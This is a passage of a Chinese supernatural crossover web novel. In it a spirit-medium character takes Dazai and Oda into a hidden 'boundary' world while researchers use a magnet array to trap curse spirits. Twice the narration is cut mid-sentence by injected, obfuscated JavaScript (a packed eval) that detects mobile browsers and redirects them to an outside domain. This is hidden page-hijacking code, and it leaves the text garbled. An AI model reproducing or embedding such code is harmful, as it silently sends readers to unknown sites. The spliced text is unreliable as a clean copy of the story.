松田阵平笑了笑,“作为亲身经历者,我可以向你保证,视频内容没有半分作假,甚至,考虑到观众的接受程度,还做了适当的删减。” “我想说的是,夏目,他是不一样的,有些时候,在他身上,可以不用那么……严谨。” 主管女士:…… 她现在脸上写的不是‘你们俩是不是也疯了’,而是‘他是不是有病’。 沉默了一会儿,主管女士开口,“如果出事……” 松田阵平意会,“我来担责。” 萩原研二立刻跟上,“还有我,”他对着主管女士眨了眨眼,少有这样眨眼还不显得油腻的人,“夏目虽然看上去可能不那么靠谱,但实际上,还是挺靠谱的,”他说着,脸上带着安抚的笑,“同样是亲身经历。” 38.三十八 …… “我明白了。” 主管女士发出了妥协的声音。 “实验继续。” 永磁体阵列可以通过控制器调节阵列当中所有永磁体旋转角度来实现对区域内磁场的人为干涉,不仅如此,假设实验能顺利进行,他们还能通过各部分调整,将磁场中心控制在场地中心附近。但也有缺陷,无法做到精密控制,且响应速度慢,在室外场地更要考虑到各种其它外界的影响因素。 好在本次实验并不需要多精密的数值操控。 如果灵异现象让磁场读数升高,那么他们就把它重新压低,反之亦然。 “阵列旋转角度确定,已执行。” “确定一下,手机通话是否对实验有影响。” “没有,”有人回应,“目前没有干扰……”说话的人也觉得奇怪,“按理说,手机上的金属部件会在阵列影响下产生连锁反应,但他……看起来就是在普通的打电话。” 三米内距离的金属物体,在阵列未启动时都有可能被直接吸附,越靠近磁体,吸力越大,平均速度甚至可以突破20m/s。 在阵列运行时打电话属于重大事故隐患,按理来说是必须明确禁止的。 工作人员看了眼主管女士。 主管女士的目光围绕在各类数据上,磁场读数依旧在上升,而热像仪显示,实验场地的中心区域,那里的温度已经来到了零下。 “输出功率上调一级,磁矩同步增强目标值20%。” 工作人员有些犹豫。 “执行,”主管女士说道,“有人会为他的行为负责。” —————— ——接下来,带你们看看我的世界。 夏楠的声音从电话内传出,说到后半句时,他的声音几乎变成了根本听不懂的形状。场景在一瞬间扭曲,扭曲的中心点,一个在太宰治的口袋,一个在织田作之助握在手中的手机。两人根本来不及做出任何反应,像是被直接从图层移除了一样,原地消失。 光怪陆离。 无数的阴影在眼前划过,有的甚至穿过了他们的身体,带来十分明显的战栗感,就像是…… “就像是,夏目偶尔看向我们时,那种目光带来的感觉。” 他们的脚下是虚空,但他们没有下坠。他们的头顶也是虚空,那里同样有无数的雾。无法辨明的声音偶尔响起,雾团相互错位,互不干扰。 太宰治罕见的露出一点天真的神色,他的眼睛微微亮起,朝着一团团不规则蠕动的雾伸出手…… “别乱碰啊。” 有人抓住了他的手腕。 熟悉的声音近距离响起,那道声音正和织田作之助打招呼。 “好久不见,小织。” 太宰治偏过头,看到了夏楠。 青年站在虚空之中,冲着他们露出微笑,“怎么样?我的世界,”他松开太宰治,往后退了几步,张开双臂。他的嘴角放肆的扬起,发丝漂浮在空中,随着动作,轻轻摇摆。 “一切无序、乱序、反序,一切未被解明的存在,无所不包,无所不含,”夏楠原地转了个圈,雾气们仿佛感受到他的存在一样,一个个缓缓远离,“这里,是真正的,里世界。” “来,”他忽然停下了动作,对着两人伸出手,“带你们逛逛。” 织田作之助看着眼前的青年,“……夏目,你是人类么?” “是哦。” “可是……”虽然外形还是那个外形,但,那种非人感,以前只是隐隐约约的察觉到属于强者的压迫力……织田作之助到现在才明白,偶尔夏目不经意的一瞥所带来的危险感,原来并不是因为什么压迫力。 是非人。 未知。 “恐惧未知的人,会永远徘徊原地,不敢向前踏出半步。” 太宰治跟着笑了起来,“未知又如何,非人又如何?” 他反手拽住依旧拉着自己的织田作之助的手腕,紧接着,将另一只手搭在了夏楠的手心。 “夏目要带我们看什么?” 夏楠冲着他们眨了下眼。 几乎是同时,脑子仿佛被丢进了洗衣机经历了一轮无情狂转,又被扔进压缩袋里,抽干了所有空气。窒息,眩晕,仿佛有一双手在自己的脑子里搅和。 好在只是一瞬。 等他们重新恢复五感,夏楠正凑近看他们的脸。 “抱歉,距离上一次带人来参观,已经过去很久了,有点没控制好,”他说着,转过身,指向不远处无比巨大的一团白色的雾气,说道,“看,那就是你们的世界。” 织田作之助顺着夏楠的手看过去。 白色居多,夹杂着许多其它五颜六色的色彩,非常非常大的一团……不,已经不能用团来形容,是一大片,一眼望不到顶,同样也望不到底,左右无边无际。 “棉花糖一样。” 织田作之助评价道。 太宰治噗了一声,“织田作是饿了么?” “啊,已经有一整天没有进食了,的确有些饿。” 棉花糖的表面起起伏伏,有突兀凹陷的深坑,也有暗淡的像是要被外界同化一样的区域。 夏楠说道,“原来你们看到的是棉花糖啊……” 他的语气中,似乎带了点遗憾。 太宰治察觉到夏楠话语中的信息,“难道在夏目眼中,它不像棉花糖?” 夏楠笑了笑,没回答。 太宰治于是换了个问题,“夏目究竟是什么人呢?” “这次不问我是不是人了?”夏楠瞥了他一眼。 太宰治摊手手。 “告诉你们,也没什么。”夏楠说道,他看着眼前的世界,在织田作之助和太宰治的眼中,它是棉花糖一样、巨大的雾气,但在夏楠眼中,它是镜面。镜子的另一侧,是他自己,在世界内侧,在那个拥有完整秩序与规则的世界中的,他自己。 夏楠看着那边的自己,说道,“我是守界人。” “驻守界线之上,维护界线存续的,守界人。” —————— “读数持续升高,即将突破临界值。” “不行,中心区域温度太低了,这不合理,零下17度,怎么可能?” “都鬼故事了你跟我讲合理?” “我的意思是,它们是怎么做到让温度降低的,没办法解释啊?” “你问我我问谁?” “继续上调功率,不要聊天。” 现场已经没人在意小小的手机是怎么回事了,磁力加大,磁场变化的情况下,那个手机还能保持原样,甚至连一个电火花都没打,简直见鬼。 哦,不对,这里本来就在见鬼。 松田阵平负责拍摄工作人们忙碌的身影和对话,萩原研二负责拍摄热像仪的画面。有黑漆漆的人形物体从地面冒出,一个又一个,它们趴伏在地面上,向着实验场地内的人爬去。 萩原研二立刻走向正常的拍摄屏幕旁……看到了,黑色的人形,在地上爬动的人形。 “女士,我想,夏目已经成功了。” 教授走过来看了一眼屏幕,她并没有被吓到,沉吟一会儿,开口,“暂停干涉,重新调整矩阵,记录现在的数据。” 原来如此,原来是这样,灵能力者,夏目社长。之前阵列作用有限,是因为实验场地还没做到将它们引过来。夏目社长在持续施术,硬要说的话,倒是他们这边拖了后腿。 还是前期交流太少,导致实验进程出了问题。 没关系。 “都准备好,我们再来一次。” 主管女士的声音里带了点兴奋,她全神贯注的看着屏幕,眼睛都不眨一下。 —————— 守界人…… 太宰治看向夏楠的侧脸,青年的神色十分放松,甚至,眉宇间总是存在的疲惫都不见了。他看起来很适应这边的世界,这边的环境。从他们进入这个世界以后,危险雷达就响个不停。每一团青色雾气,带给他们的都是战栗的恐惧。 这里的空间似乎是交叠的,灰色的雾气在交叠的空间里移动,重合,又分离。 “夏目……” “嗯?” 夏楠看向他。 “……很辛苦吧。” “还好?”夏楠说道,“大部分时间都比较闲,偶尔缝缝补补,”他说着,“如果真到需要我辛苦的那天……嗯……” 言外之意不言而喻。 太宰治不再说话。 织田作之助也看向夏楠,“夏目以前就生活在这里吗?” “怎么可能?” 夏楠疑惑的看织田作之助,“这里像是能活人的样子吗?” 等等…… “……哦!”他忽然转身,“还没带你们去我家看看,是移动豪宅哦。” 说着,他抬起没有牵着太宰治的那只手,轻轻打了个响指。 啪—— 场景瞬间变幻,这次没有那种被虐/待脑浆的感觉。 棉花糖不见了,处处可见的灰色雾气也不见了,虚无消失,他们重新脚踏实地。眼前,是一方布置十分种花风的院子,亭台楼阁,小桥流水,雕梁画栋,应有尽有。 “好了,可以松开了,”夏楠率先松开太宰治的手,“在这里,你们可以自由活动,一小会儿。” “是我师门创造的空间,怎么样,是不是很气派?” “我在这里长大,学习,如何感受,如何接纳,如何拒绝……”他走到一排灌木旁边,“这些,是我从外面带进来的,找到能在这里独立生存的植物可是花了我好大的力气。” 织田作之助和太宰治一时间都没说话。 夏楠见状,原地站立,“怎么了?不感兴趣?” “不,不是,”织田作之助看着眼前不算太大,却十分精美的院子,看着无缝融入这里环境的夏楠,“只是……不知道如何开口。” 创造一个空间,这样的事,是可能的吗? “是可能的,”夏楠说道,看见织田作之助懵逼的神色,笑了一下。这里是他的空间,一切皆因他的潜意识认知而存在,外来的东西,包括思想,都逃不过他的感知,“异能力不是也能做到类似的事么?你们的异能力,说起来……”他摸了摸下巴,“……说起来,也挺神奇的。” 预知——【天衣无缝】、干涉——【人间失格】。 原本夏楠以为太宰治有成为他同行人的资质,可惜。 拥有如此强大的干涉天赋的人,就算仅仅只在一个领域,放眼整个世界,也是凤毛麟角。 太宰治看着夏楠,忽然,他叹了口气,“为什么带我们来这里?” “突发奇想,”夏楠回答,“测测你们的资质。” “还记得我的招聘广告吗?” ——凡有所求者,可为我所用者。 只是看着这个世界界线的乱象,忽然想到,或许在招来的人里面,会有真正可为他所用者也不一定。 “结果呢?” 夏楠只是笑。 这里的时间仿佛是静止的,可植物可以生长。这里的空间仿佛是固定的,可夏目却说自己在这里长大。他们可以接触这个世界,却只能停留一小会儿。 答案很明显了。 “很遗憾,你们不是我要找的人。” 太宰治微微垂下了头。 织田作之助问道,“你要找什么样的人?” 夏楠看向织田作之助,想了想,其实他也不是很确定,“……像我这样的?” 像他这样的人,不会无缘无故被拉入异世界。对他们来说,凡一切果,皆有因。他们是行走在界线之上的人,他们的命运线,从一开始,就只有一条。他们是界线的守护者,更是固定界线的锚。 太宰治忽然咳嗽了一声。 “啊……” 夏楠走上前,仔细看了看他的脸色,“你们该回去了。” 就像生者无法在地府长时间逗留,属于外侧的生命,也无法在更深的内侧停滞太久。 太宰治抬起手,抓住了夏楠的手腕。 ? “你说那是我们的世界。” 太宰治看向夏楠,“你说这里是你的世界。” 夏楠理解了一下太宰治的话,“哦……我的世界只是泛指。” “泛指?” 夏楠看着太宰治,“你可以理解为,一体两面?” 织田作之助听懂了,他问道,“你总是在睡觉,是因为另一半的自己?” “很聪明嘛。” 夏楠说着,轻轻拍了拍太宰治的手背,他拿出手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753673|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机,翻转镜头,将三张人脸都框进屏幕里,“来,留念。” 咔。 夏楠满意的收起手机,“你们的前辈们的照片就在里间,还有画像,”他看向两人,“这次时间不够,下次再说吧。” “下次,我们拍张全家福。” “说起来,进来之前,你们在干什么?” 织田作之助愣了一下,他想起什么一样,从身上摸出一个还沾着血迹的东西,递给夏楠。 “应该是异能特务科的人,她把这个给了我。” “唔,”夏楠收下,东西在接触到他手的瞬间,那些血迹就消失了,“看,一点点小技巧,”他语气轻快的说着,伸出手,“汤圆,过来。” 织田作之助:? 一只小小的白团子,从织田作之助的头发里跑了出来,它蔫哒哒的飘着,晃晃悠悠的,似乎是很不适应这里的环境。它飘到了夏楠的手心,将自己窝好,委委屈屈的蹭了蹭。 “帮我保管一下,暂时。” 夏楠将织田作之助给他的东西递到汤圆面前,汤圆用揪揪手撑起身体,凑过去闻了闻,豆豆眼眨了两下,看了看夏楠,似乎是在思考。 过了一会儿,大概是想明白了,张开大嘴,将东西吞了下去。 夏楠揉了揉它软绵绵的身体,把它重新放在了织田作之助的头发上。 织田作之助:?? 夏楠贴心的解释,“是一只小妖怪,本来想着你或许会有麻烦,就让它去了你身边,没想到多此一举,”夏楠看着织田作之助头上的小家伙,“它可以吞噬厄,虽然食量不大,多少能起点作用。” 并看不到妖怪也感受不到头上重量的织田作之助僵在原地:…… 太宰治凑了过来,伸出手想要去摸,被织田作之助敏捷的躲开。 “好了,现在,把你们的御守给我。” “还有小织,抓紧阿治。” 伴随着夏楠的话语声,眼前的院落消失了,取而代之的,是铺天盖地的头发,层层叠叠的头发在目之所见的每一处蠕动。 织田作之助头顶的汤圆瞬间支愣起来,它的嘴张的比以往每一次都大,像是一个黑漆漆的洞口。 “汤圆,现在先不要吃。” 汤圆:…… 它的嘴不情不愿的闭合了。 夏楠看向眼前的两人,与在外界时不同,他们看不到那围在身边的头发,只能感受到危险。 “你们该走了。” 青年似乎又恢复了在外界时的模样,云淡风轻的,什么都不在意的样子。 “毕竟,我这边,突然大变活人,解释起来会很麻烦。” “就让它们带你们一程。” 随着御守离身,头发们瞬间涌上,将太宰治与织田作之助团团卷住。 “汤圆,保护好他们,拜托你了。” —————— 师父说,这座宅院的名字叫碇界居,意为锚定界线之人的居所。 送走了太宰治与织田作之助——不得不说,头发是真的好用——之后,夏楠重新构建了存在于自己潜意识认知中的院子。 他的确是在这里长大,却又不是在这里。师父也有一处相同的院子,只是他那个院子里,没有后来移植的可以生长的灌木,也没有夏楠辛辛苦苦添置的许多小细节。 师父的院子要朴素许多。 夏楠穿过游廊,推开一处耳房的房门,那里面什么家具都没有。只有占据了一整面墙的画作,画的是人物,一共七人。七人当中,有身穿官服的老爷,也有短衫草鞋的布衣。七人的最中央,是一名长袍佩剑的青年,他的怀里,有一个孩童。孩童的头发被剃的干干净净,只留额前一点,扎了个冲天揪。 夏楠的手指虚虚划过青年的脸,最后,停留在孩童傻笑的嘴角。 他看了一会儿,微微垂下眼睫。 这副画,是他在师父构建的碇界居里看到的,他记得每一个笔触,记得每一处斑驳。于是这副画,也成了他记忆的一部分,成了他潜意识的一部分。 只要迈进这里,就会看到画,这样的潜意识。 他是在界线上长大的,所以他不属于常世,不属于混沌。所以他又可以是常世人,又可以行走于混沌。 但他终究是人。 生活在常世,就得时刻注意,藏起自己与混沌相近的那一部分。 混沌会排斥成型的秩序,就像常世会排斥乱序的混沌。 夏楠眨了下眼。 院落消失了,夏楠再次站在了界线前。 界线之上没有时间的概念,镜子那边的自己,一动不动。 他抬腿,走进镜面。 —————— “读数开始下降,注意记录,重复一遍,读数开始下降!” 显示屏内,夏楠收起了手机,也不知道他怎么做到的,明明穿着一点缝隙都没有的防护服,他的手机到底收到哪里去了? 热成像里,实验场地内温度最低的地方,开始逐渐回暖。 主管的嘴角紧紧抿着,越是看到曙光的时候,越不能放松紧惕,“注意数值变动,维持好现有功率。” 所有人都很专注,松田阵平与萩原研二不敢出声打扰,默默的记录。 就在这时,画面内的夏楠动了。他原本搭在前方那个嫌疑人身上的手抬了起来,下一秒,嫌犯整个人如同被抽了骨头一样倒在地上。紧接着,夏楠走到了相互依偎着坐在地上的井下朋花和小岛田旁边,查看了一下两人的状态。 随着夏楠的每一次移动,那些黑漆漆的人形色块仿佛遇到了什么可怕的东西一样,纷纷躲避。 夏楠来到了已经醒来的山本旁边。 原本还好好躺在担架上的山本此时被宇髄天元按在地上,他也没挣扎,甚至还十分自觉——他咬住了担架的金属边框,以防自己忍不住咬人,甚至还很有学习精神的没有使太大力气,以免把边框咬断了。 嗯……这个也没问题。 确认了委托人和委托人相关人员的情况以后,夏楠抬起头,看向了就站在人堆之外的,没穿防护服的身影。 “哦?能看见我?” “能看见我,也就意味着,就是你吧……”那个身影说着,“……把本该到阎魔殿报道的亡者超渡到种花地府去的那个人。” 39.三十九 “教授。” 显示屏内,夏楠正在往外围走,原本所有人都聚集在中心区域,因此并不明显的温度区分随着夏楠与中心其他人的分离,变的十分明确。 ——夏楠就是低温的核心。 “他要去干什么?” 一个移动的低温核心,一步一停的往外走,黑色的色块分外明显。隔着厚重的防护服,没人能看清他的神色。而在临时控制中心这边,画面变的有点奇怪。 “它们……是不是在跟着他往外走……额,往外爬?” “……不对,又不爬了,到底什么情况?” 之前还躲着夏楠的黑色人形在躲着夏楠的同时跟随着他的移动而移动,可移动过后,又会往反方向移动。仿佛夏楠的移动方向上,有什么他们惧怕的东西。 惧怕夏楠,四处躲避,却还会跟着他爬。跟完了,又被吓的往回爬。 就……挺怪的。 怪抽象的。 “我记得夏目说过,它们原本应该和我们有相同的规则,因为一些原因,落入了无序的空间,”松田阵平沉吟,“我在想,会不会就是因为这样,造成了他们的逻辑混乱,或者说,像现在这样,缺乏推导能力,仅仅只剩下本能。” 主管女士看着屏幕,“如果多元空间论是真实的,那么,你说的的确有可能发生。” 萩原研二开口,“难道眼前发生的一切不能证实多元空间是真实的吗?” “不,不能,”主管女士说道,“它依然可以被解释为幻觉,集体催眠,磁场干预下的成像偏移,甚至机器故障……”顿了顿,她补充道,“当然,也有可能被解释为特殊能力。” 说道特殊能力四个字,主管女士毫不遮掩的发出了一声嗤笑——特殊能力,真是个万能又屁用没有的定义。 她的情绪外露只是一瞬,很快就恢复了自己的专注。 “不论如何,我们需要更肯定的数据支撑。” 她看了一会儿,就将注意力重新转回数据模块,“温度暂时稳定了,但和环境温度相比还是太低,磁场读数也依旧偏高,并且数值很不稳定……” 一切非日常的能力,都在拒绝被解明,包括所谓的异能。不是能力在拒绝,而是拥有能力、使用能力的人在拒绝。 “继续。”主管女士说道。 她是解明派,她坚信,只要将这些所谓的特殊拆解,终有一日,人类会找到突破现有认知桎梏的钥匙,走向更多的可能性。 —————— “你是想把我挤出去吗?” 夏楠在往前走,直愣愣的对着眼前穿着传统服饰,头上长独角的男人,对方避让他调整方向,对方不动他调整频道,迫使对方不得不后退。 对方边后退,边摸下巴,边面无表情的分析,“我现在的状态,应该没有生者能碰的到我,但我有预感,你可以。” “为什么?” “这位不知名鬼差,你没看到这里在做实验么?” 夏楠继续往前走,他前进一步,对方就后退一步,两人之间的距离非常近,是随便动动都很有可能撞在一起的程度。 “鬼差?”独角男说道,“你果然是种花的人。” “先生,你很碍事。” 夏楠继续往前,他们几乎快接近边缘了。 “我不会影响到你们的实验,都说了,生者看不到我,”独角男人摊开手,“友好点不好么?不要再挤我了,我还得将那些异化的亡者接去地狱。” “再放任它们继续留在生者的世界,对它们来说也是折磨。” “又让你超渡,会再次送到种花那边的,虽然近年来霓虹地狱与种花地府重新恢复了引渡流程,但是很麻烦啊,我已经十七天没有睡觉了。” “请不要再给我们增加额外的工作量。” 夏楠停住了。 他的视线隔着面罩看向对方。 “区区接引亡者的工作,为什么需要你这样级别的鬼差亲自出马?” “我不是鬼差,那是你们种花的官阶,”独角男否定,接着回答,“寻常狱卒接不了它们,只能我来。” “哦,”夏楠说道,“那你有想过,为什么寻常狱卒做不了,你却可以么?” 独角男歪头,打问号。一边打问号,一边用十分肯定的语气。 “因为我很强。” 夏楠又哦了一声。 他盯着眼前的独角男看了一会儿,接着,哦了第三声。 独角男:…… “你似乎在阴阳怪气?” “你说的对。” 独角男:…… 他叹了口气:“如果阁下继续阻挠我的正常工作流程,我将采取应对措施。” 夏楠歪头,打问号。 “什么措施。” 一根狼牙棒出现在独角男手里,超/粗,还特别黑。独角男拎着狼牙棒活动了一下肩膀,“揍你,”他说,“介于你刚刚模仿我的动作,我会下手狠一点的。” “姑且问一句,想好遗言了么?” 夏楠笑了。 这里果然有地府——他想——但是出现的时机实在不太巧。 “你知道我们在做什么么?” 狼牙棒带起的风吹过夏楠的身体,棒身停在夏楠的身体里。独角男看起来是个行动力超强且一点也不拖沓的人,在夏楠问题还没问完的时候,就已经完成了自己的一击。 夏楠动都没动,那么大一个狼牙棒怼穿了自己的脑壳,他一点反应也没有。 “物理超渡,听说过么?” 独角男:…… 他掏了掏耳朵,“你说什么?什么超渡?物理怎么了?” 夏楠重新动了,他抬手拨开怼在自己脑壳里的狼牙棒,对独角男的挑眉视而不见。 “退——退——退——” 独角男被迫后退。 他不再提妨碍工作的事,反而开始稀奇的看夏楠,“你是种花那边的神仙?还是神仙与人类的混血?或者哪个神仙的弟子?” “都不是。” 夏楠说着,终于,把独角男逼出了实验场地。 “人类?”独角男摸了摸自己长了些胡渣的下巴,“我还是第一次看见像你这样的人类,”他上下扫视了夏楠两圈,忽然开口,“对你来说,进入地狱其实很容易吧,怎么样,要不要来我这边工作?” “你应该很擅长处理这些事,正好,近来类似的亡者异化的情况越来越多,如果你来,我可以给你最高级别的待遇。” “我对996没兴趣。” “那007呢?” 夏楠果断转移话题,“物理超渡,我们在做这样的实验,你的存在会影响到数据。”他说着,跟着走出场地边缘,紧接着,抬起手。 这次比较正式,因为要防的对象是很早以前诞生的生命体,那个时候世界的规则,与现在有很大的区别。 “天地玄宗,覆禁四方……” 独角男双手抱臂,没躲,原地等。 夏楠不再念了。 “魔免?” “哦?这就发现了?” 夏楠迅速换了个方式,他足间点地,从左至右,界线瞬成。 独角男抱着的手臂放下了。 他不再悠闲,逗小孩的心态消失,“你到底是什么人?” ——居然有划开边界的能力 这回轮到夏楠抱臂。 “阁下的磁场太过强大,就算不在一个图层,也会影响到我们的数据和实验结果,所以……”夏楠笑了笑,“……所以,还请你先在那边稍等一会儿吧。” “物理超渡,或许你也会感兴趣。” “一张近距离观赏票,不用谢。” —————— “夏目社长回来了,他刚刚是不是在和什么东西说话,还比比划划的。” “……我仔细观察了,他面对的地方,图像上没有变化,很正常。” “他是不是又在点点点……懂的人呢?警察?快来快来!” 这回换作松田阵平凑了过来,他看着被放大的画面,“……我……是……宿体。” “我是宿体?” 他愣了一下,反应过来,对主管女士开口,“夏目的意思是,他是……咒。” 原来是这样。 所以他才是低温的核心,所以那些黑色的匍匐的人形才会跟着他移动。 主管女士试图理解,失败,她对夏楠的那一套咒怨恶灵的释意不太了解,“什么意思?” 松田阵平快速推理,“咒是主干,是咒怨空间成型的主宿体,只要斩断咒,一切就可以结束了……斩断咒……” 斩断咒,肯定指的不是真的把夏楠人斩断,应该是……夏楠当时的做法……不,不对,没有参照意义。换个思路,斩断以后,磁场恢复正常,一切都恢复常…… 松田阵平开口,“夏目身上的读数是什么?” “171,是171!” 那边,夏楠已经主动比划了自己身上目前的数值。 奇怪,之前夏目手里有高斯计么? 负责记录的人疑惑了一下,又很快将这件事抛到脑后。 正常人类居住环境磁场读数普遍小于55,主管女士理解了,“让里面的人都撤出来,所有人,除了夏目社长。” 从一开始,这些被怨标记的人的作用就是饵,用来钓怨聚集的饵。 ——没有咒凝聚,怨会渐渐消散。 有些人的状态看起来不太好。留守的警察们自告奋勇,瓜分了剩余的防护服,小跑过去接人。 宇髄天元不明所以的看着来人,他还在按山本,有人上来想接手山本,被夏楠拦住了。 “山本君留下,华丽先生,你先出去。” 宇髄天元看了眼夏楠,起身,“你没问题?” “当然。” 人们身上的眩晕等不适症状在夏楠从界线上回来时就已经消失,大家体感上恢复正常,但生理反应还留存了一些,因此脚步略飘忽。当然,这个脚步飘忽里不包括宇髄天元。 迹部景吾与坂口安吾也算姑且还能自己移动的成员,坂口安吾看向夏楠,叫了声社长。 “安吾君在外面等我。” 很快,场地中央只剩夏楠。 永磁体阵列开始调整角度,一系列计算模型当中的数据被代入现实。线圈加大了永磁体的输出功率,夏楠闭上眼,压住了自己区别于这个世界的那部分。 满地爬行的黑色人形终于一改自己人机一样古怪的动作,开始发出痛苦的哀嚎,它们在呢喃——杀吧,烧吧,杀吧,烧吧。他们在挣扎,灵魂深处不停赌咒的声音。 耳边响起呼呼的风声,夹杂着呜咽一样的声响。 声声入耳。 之前在夏楠的压制下没能展现的侵蚀能力,如今重新回归,只是很可惜,它们暂时被困在了这里。 界线只能阻止处在另一个图层的独角男往这边泄露任何干扰,却不会阻止黑色人形离开现在的地方。它们明明具有和伽椰子类似的远程跳转索人头能力,却用不出来。 实验成功了,至少,在将被吸引来的怨锁在阵列中这一点上,成功了。 夏楠在调整自己的状态,让自己更适应这个暂时交融的空间。为了凝聚怨,他展现了自己的另一部分,当然,除了这个目的,其实也有点其它的意思。 他擅长直/钩钓鱼来着。 不过现在,已经不需要了。 钩已经甩出,饵也撒下,只等收杆。 —————— 热像仪的画面里,爬行的黑色人形聚集在夏楠周围,不停的做出抠挖地面与空气的动作。 “读数下降了!现在是168!” 这是一个好消息。 可是…… 松田阵平盯着显示屏,眉头微微皱起,在他身边,萩原研二不确定的开口,“好像有些不对劲。” 是的,不对劲。 他们之前见过夏楠的操作场景,那样的景象,无辜被吸纳裹挟的灵魂重新回归原貌,那样温暖的场景,绝不是现在这样。 就像是——原本轻柔拂去尘埃的安抚,变成了硬生生从身上拽下一整张皮的暴行。 失去了多人在场的干扰,显示屏内的画面更加易于分辨。在空中晃悠的、仿佛上/吊的人形,小小的、婴儿一样的人形,挣扎着原地奔跑的人形,一次又一次重复着仿佛割/喉动作的人形。这些人形与周围的颜色几乎一致,只有极其细微的差别。 “请不要试图逃跑。” 刚刚脱下防护服的坂口安吾堵在了厨师面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女人刚刚参加完女儿的婚礼,她魂不守舍,一惊一乍的样子。在她周围,有一个少年,少年赤裸着身体,抱着一个装着婴儿的罐子,不停的发出猫发情时一样的叫声。少年叫一声,罐子里的婴儿就跟着叫一声。 女人仿佛看不见那个少年,也看不见那个罐子,可她似乎能听到声音。她癫狂的捂住耳朵,不停的摇头。 之后,她上吊了。 身上还穿着参加婚礼时的和服,长长的衣摆在地上来回摩擦,一下,一下,一下。 山本看到了。 年轻的母亲不停的质问女儿为什么撒谎,她的神色慌张,而她的头顶,正是那个之前上吊的女人,女人长长的腰带就垂在她的身后。被质问的小姑娘仰着头,眼珠跟着女人的摇摆来回晃动。 之后,年轻的母亲救下了试图跳楼的女儿,她恶狠狠的盯着这间让女儿变的不正常的公寓,提来了油桶,点燃了火焰。画面像是信号不良一样闪烁几下,年轻的母亲回过神来,忽然发现,自己点燃的不仅仅是房子,还有她的女儿。 她疯了。 山本看到了。 有一个少女,她被自己的父亲神色不明的赠予一副画,接着。从一个拥有煤矿的商人家中,嫁到了一户官员家中。官员的弟弟看到了那副画,原本聪明开朗的少年变了一副模样。他开始钻进房屋与地面的缝隙,开始四处游荡,用恶狠狠的眼神瞪视每一个人。 他杀了少女的第一个孩子。 官员保住了自己的弟弟,他们以为他得了病,于是将他关了起来。 少年最后,被发现全身赤裸,死在自家宅子的与地面之间的缝隙里。 山本看到了。 是梶川。 青年脸色苍白,他站在山本面前,不停的道歉。 ——对不起,我实在坚持不下去了,我一直听到哭声,一直一直。 ——对不起,给您添麻烦了。 ——对不起,我们不想害人的。 ——对不起。 ——替我们,说声谢谢。 …… “山本君。” 山本醒了过来。 他惊恐的发现,他正掐着眼前人的脖子,身上的防护服早就破的乱七八糟。他的嘴里咬着什么东西,是——是高斯计,山本认得这个东西。 太好了,他没有咬人,太好了。 紧接着,他后知后觉的反应过来,刚刚是谁在说话。 “……夏目社长?” “是我。” 夏楠说道。 山本立刻缩回了手,他的身上青筋凸起,整个人的样子十分可怖,但他却露出了局促的神色,对着一个看不清脸的、穿着防护服的人。 “对不起,我……” 夏楠的手指点在山本开合的嘴唇上。 山本立刻把嘴巴闭紧了,作为可能会带来危险的一方,他甚至神色慌张的后退了两步。 夏楠正在看他,“你身上的标记消失了。” “什……” “往那边的帐篷走,告诉他们,你身上的标记消失了,”夏楠说道,“鬼杀队的人在,他不会给你任何伤人的机会。” 山本本来还有些犹豫,他不是很知道这里到底发生了什么,醒来的时候他身上的防护服已经破了。但他记得宇髄天元,记得这个能按住他的男人,于是他点了点头。 夏楠看他一脸严肃,逗了他一下,“因为,如果你试图伤人,他会在你真的达成目的之前,砍掉你的脑袋。” 山本:…… “好了,开玩笑的,”夏楠说道,“去吧。” “顺便告诉他们,加大功率,等日出,给我们来个狠的。” 山本磨磨蹭蹭的走了。 磁场读数来到89,一个无限接近正常的数值。正常人类活动范围的数值普遍在55以下,可这里是永磁铁阵列内,本身就不是正常范围。 热像仪的画面里,那些几乎与周围融为一体的模糊身影消失了,黑色的爬行人形也停止了抠抓的动作。在山本到达并转述了夏楠的话以后,主管女士思考了一下,立刻开始布置。 40.四十 风起。 清晨的第一缕阳光穿过山林,穿过树梢,铺撒而来。 “功率加大致安全范围内的极限,准备好。”主管女士紧紧盯着显示屏,这次的实验太赶了,如果给她更多的时间,她绝对不会选择永磁体阵列这种方案来做为反向抵消实验场地内磁场的手段,又是户外,危险太大,局限太多。 如果不是所需要制造的反向磁场同样在安全范围内,她不会同意参与这次的实验。 所有人都在看显示屏。 看着显示屏内,那名探灵社的社长再次掏出了手机,从本该密不透风的防护服里。 正准备说开始的主管女士:…… 她讨厌所有的‘特殊能力’使用者,所有。 松田阵平的电话响了。 松田阵平:…… 他按了接听。 ——公放,松田,快公放。 松田阵平默默的点了公放。 夏楠的声音钻进每一个人的耳朵。 ——怎么还不开始? 主管女士:…… 她面无表情,“开始。” 功率提升到了事先计算好的安全范围内最大值,电话那一边,夏楠的声音颇为轻快。 ——这就对了,安吾君? 坂口安吾:“社长?” ——记录,录我的声音。 ——哦,还有画面。 坂口安吾:…… 他认命的从松田阵平手里接过摄像,对准松田阵平的方向。 举着手机的松田阵平:…… ——好了,现在是小课堂时间。 显示屏内,夏楠站在原地,脚下是一堆堆的人形,古古怪怪的构图。 ——分析,解构,用现有的逻辑,来解释神秘测。比如现在,鬼,灵魂。 ——当我们将重叠部分的磁场读数控制在正常水平的时候,第一个问题,它们会恢复正常吗? 主管女士看着屏幕,默默回答,“理论上不会,但可以在短时间内做到‘消磁’。” ——没错! 屏幕里,夏楠原地转了个圈,傻乎乎的动作,一个胖乎乎的防护服原地转圈。似乎实在庆祝有人回答正确。 